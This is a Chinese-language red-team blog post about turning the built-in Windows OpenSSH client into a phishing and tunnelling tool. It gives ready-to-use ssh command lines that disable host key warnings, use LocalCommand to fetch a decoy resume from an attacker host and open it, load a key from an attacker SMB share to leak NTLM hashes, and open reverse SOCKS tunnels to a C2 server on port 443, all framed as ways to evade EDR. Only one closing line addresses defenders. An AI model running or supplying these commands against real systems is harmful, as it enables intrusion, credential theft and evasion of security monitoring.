使用SSH暗渡陈仓

在2018年4月发布的Windows 10版本1803中,Windows OpenSSH客户端被默认安装并启用(服务端仍然是一个可选功能,必须手动启用)。虽然这为一小部分Windows用户提供了一些便捷(内网机器不用安装第三方客户端即可实现SSH),但引入一个新功能的同时,也会同时引进一些攻击向量,除了常规的SSH破解&端口转发以外,还存在其他的攻击面。

SSH常规利用

ssh.exe和其他内置程序一样,具有微软的文件签名,相对于cmd.exe或者powershell.exe来说,可以大大降低快捷方式被EDR标记为恶意的可能性。

很多人都使用过ssh -D创建动态端口转发(ssh -D 127.0.0.1:11451 root@server),所有通过这个代理服务器的连接请求都会被转发到远程主机上。比较少用的-R参数同时可以用作反向代理,如果没有明确指定要转发流量的目的地,SSH将充当一个SOCKS代理(例如 ssh -R 11451 root@server)。无论是上述提到的-D还是-R情况,结果都是一样的:在攻击者的机器上绑定了一个端口,通过这个端口可以本地运行各种攻击工具,并在受害者机器上创建一个tunnel。

但是这里很显然地会带来一个问题,如果创建一个调用 SSH 打开反向动态端口,转发到VPS快捷方式文件,显然,打开快捷方式的受害者不知道账户的密码(我们也很可能不想让他们知道),而且可能任何人都可以访问我们机器的恶意软件。针对以上问题,有一些技术手段可以进行规避与优化。

突破桎梏

作为红队成员,我们深知SSH客户端的灵活性和功能丰富性,这使得它成为渗透测试和模拟攻击中的重要工具。我们可以利用SSH的各种选项来定制会话,使其适应特定的攻击场景。例如,我们可以使用端口转发选项来绕过防火墙限制,或者使用密钥认证选项来实现无密码登录,从而更容易地控制受害者的机器。

由于ssh本身提供了大量参数, 而且Windows客户端中大多数选项都有相应的映射和可用性,通过一些精心设计的payload与Windows自身的特性,可以创建一个功能强大且令人信服的钓鱼工具。

当首次使用 SSH 连接到一台机器时,会向用户显示一个警告消息,可以使用 -o 开关来禁用 StrictHostKeyChecking 设置,从而关闭此警告。

-o "StrictHostKeyChecking=no"

如果要执行命令,免不了要拼接cmd.exe或者powershell.exe,对XDR来说是一个很明显的特征。幸运的是,SSH提供了LocalCommand选项,我们可以指定一个在受害者系统上本地执行的命令。这意味着我们可以绕过不能在受害者系统上直接使用命令连接符的限制,从而在受害者系统上执行更复杂的操作,增强攻击的隐蔽性和有效性。这个操作比较有意思,因为Linux与Windows底层架构的不同,导致Windows的一些风控机制对ssh的参数控制出现了偏差。通过这个选项,我们可以指定由作为 ssh.exe 子进程生成的 cmd.exe 进程执行的命令。有趣的是,即使通过本地组策略禁用了 ssh.exe,它仍然能够生成 cmd.exe 并执行命令。

复杂问题简单化,可以拆解为以下步骤:

  1. SSH首先对远程机器进行身份验证。
  2. LocalCommand指定的命令被执行。
  3. Tunnel或SSH命令被创建/执行。

经典的下载文件使用UNC获取NTLM,在cmd以及powershell被禁用的前提下,ssh可以拿到受害者的NTLM,并在受害者的机器上打开一个端口,将流量转发到C2上。

ssh -o "PermitLocalCommand=yes" -o "LocalCommand=scp root@attackerip:简历.pdf %userprofile%\. && %userprofile%\简历.pdf" root@attackerip

为了降低噪音,可以引入-i参数。利用 -i 开关来指定私钥,我们可以更加灵活地进行身份验证,尤其是在需要使用私钥进行SSH连接时。这意味着我们可以尝试从SMB共享中加载私钥,而不是将密钥存储在本地机器上,这样可以减少我们攻击机器上的足迹,同时增加攻击的隐蔽性。

ssh -i \\attackerip\key.pem root@attackerip

顺便说一句,由于近几年爆发高危0day多是NTLM引起的,微软计划打算在最新的Insider版本中逐步停止使用使用Kerberos而非NTLM。Kerberos提供了比NTLM更强的安全保,避免像NTLM那样容易受到中间人攻击和重放攻击。

如果22端口被屏蔽了出站,可以fuzz一下可用的端口,值得注意的是SCP命令使用 -P 开关来指定端口,这与SSH命令的 -p 开关略有不同。

ssh -o "PermitLocalCommand=yes" -o "LocalCommand=scp -P 443 root@attackerip:简历.pdf %userprofile%\. && %userprofile%\简历.pdf" -p 443 root@attackerip

也可以通过ssh来拖系统信息/文件。

实际效果

结合传统的社工钓鱼技术,可以将一个Excel的XLL加载项植入受害者的电脑中,直接GetShell,从防守方的角度来看,要注意可疑的PermitLocalCommand参数以及LocalCommand参数。

共有 0 条评论

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料